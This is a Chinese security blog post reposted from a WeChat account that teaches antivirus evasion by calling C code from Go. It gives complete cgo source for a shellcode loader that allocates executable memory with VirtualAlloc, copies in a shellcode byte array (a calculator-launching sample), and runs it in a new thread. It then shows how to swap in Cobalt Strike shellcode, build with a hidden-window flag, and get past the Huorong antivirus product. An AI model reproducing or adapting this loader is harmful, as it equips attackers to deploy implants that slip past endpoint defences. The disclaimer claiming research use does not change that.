【免杀】go语言调用c/c++代码

admin 2024年7月17日10:11:02评论6 views字数 2325阅读7分45秒阅读模式
01环境准备

1.golang

2.mingw64

下载地址

https://sourceforge.net/projects/mingw-w64/files/

【免杀】go语言调用c/c++代码

注意: sjlj 版本支持32位和64位编译,seh 版本仅支持64位程序编译; posix 版本封装一层,并没有直接调用windows API,而 win32 版本直接调用了windows API,性能更好, 对于跨平台编译的话我建议选择 posix-sjlj 版本,这样可以很方便编译dl和so文件,缺点是文件稍微大一些,编译速度慢一些. 我这里选择的是(x86_64-posix-sjlj), 下载后之后把解压目录下的bin加入到环境变量中

【免杀】go语言调用c/c++代码

设置go

set CGO_ENABLED=1

【免杀】go语言调用c/c++代码

02类型区别

c语言和go语言类型的对应关系

【免杀】go语言调用c/c++代码

03示例代码

main.go

package main/*#include <windows.h>int Func() {// 运行计算器shellcodeunsigned char sc[] = "xfcx48x83xe4xf0xe8xc0x00x00x00x41x51x41x50x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52x18x48x8bx52x20x48x8bx72x50x48x0fxb7x4ax4ax4dx31xc9x48x31xc0xacx3cx61x7cx02x2cx20x41xc1xc9x0dx41x01xc1xe2xedx52x41x51x48x8bx52x20x8bx42x3cx48x01xd0x8bx80x88x00x00x00x48x85xc0x74x67x48x01xd0x50x8bx48x18x44x8bx40x20x49x01xd0xe3x56x48xffxc9x41x8bx34x88x48x01xd6x4dx31xc9x48x31xc0xacx41xc1xc9x0dx41x01xc1x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44x8bx40x1cx49x01xd0x41x8bx04x88x48x01xd0x41x58x41x58x5ex59x5ax41x58x41x59x41x5ax48x83xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9x57xffxffxffx5dx48xbax01x00x00x00x00x00x00x00x48x8dx8dx01x01x00x00x41xbax31x8bx6fx87xffxd5xbbxf0xb5xa2x56x41xbaxa6x95xbdx9dxffxd5x48x83xc4x28x3cx06x7cx0ax80xfbxe0x75x05xbbx47x13x72x6fx6ax00x59x41x89xdaxffxd5x63x61x6cx63x2ex65x78x65x00";  // 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块  LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // 申请失败 , 退出  if (addr == NULL) {    return 0;  }  // 把shellcode拷贝到这块内存  memcpy(addr, sc, sizeof(sc));  // 创建线程运行  HANDLE hThread = CreateThread(    0,    0,    (LPTHREAD_START_ROUTINE)addr,    0,    0,    0);  // 等待线程运行  WaitForSingleObject(hThread, -1);  // 关闭线程  CloseHandle(hThread);    return 0;}*/import "C"func main() {  C.Func()}

/**/ 中编写c代码, 在main函数中使用C.函数名调用

编译

go build -ldflags="-w -s" -o test1.exe main.go

【免杀】go语言调用c/c++代码

替换成cs的shellcode

package main/*#include <windows.h>int Func() {unsigned char sc[] = "xe8xa0x03x00x00xeb"; // cs的shellcode  // 使用VirtualAlloc 函数申请一个 shellcode字节大小的可以执行代码的内存块  LPVOID addr = VirtualAlloc(NULL, sizeof(sc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);  // 申请失败 , 退出  if (addr == NULL) {    return 0;  }  // 把shellcode拷贝到这块内存  memcpy(addr, sc, sizeof(sc));  // 创建线程运行  HANDLE hThread = CreateThread(    0,    0,    (LPTHREAD_START_ROUTINE)addr,    0,    0,    0);  // 等待线程运行  WaitForSingleObject(hThread, -1);  // 关闭线程  CloseHandle(hThread);    return 0;}*/import "C"func main() {  C.Func()}

编译

go build -ldflags="-w -s -H windowsgui" -o main.exe main.go

火绒查杀测试

【免杀】go语言调用c/c++代码

【免杀】go语言调用c/c++代码

成功免杀火绒

原文始发于微信公众号(Sec探索者):【免杀】go语言调用c/c++代码

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月17日10:11:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】go语言调用c/c++代码https://cn-sec.com/archives/2964490.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息